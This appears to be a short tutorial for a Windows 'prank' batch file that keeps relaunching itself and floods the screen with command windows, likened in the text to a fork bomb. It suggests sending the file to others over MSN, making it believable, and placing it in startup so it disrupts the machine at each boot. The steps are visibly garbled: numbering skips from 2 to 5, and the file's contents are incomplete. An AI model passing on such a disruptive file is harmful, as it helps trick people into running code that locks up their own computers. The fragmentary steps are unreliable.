Introduction: Simple Computer Prank

This is a quick, easy way to create a small batch file in Windows, that when activated, will reopen itself very quickly.

Step 1:

1. Open up any word processing program. Notepad is what many people use.
2. Type in "start", and press enter

5. Don't open it.

*note* You can name it whatever you want, just as long as it ends in .bat, and is the same as whatever is listed in the document.

Step 2: If You're Really Mean.

    While this is difficult to shut down, it is safe, and just about any file can be sent through MSN. As for believability, that's up to you.

    put this in startup it really screws with the computer

    This is like a fork bomb, except that it doesn't fork. It just opens a lot of cmd windows.
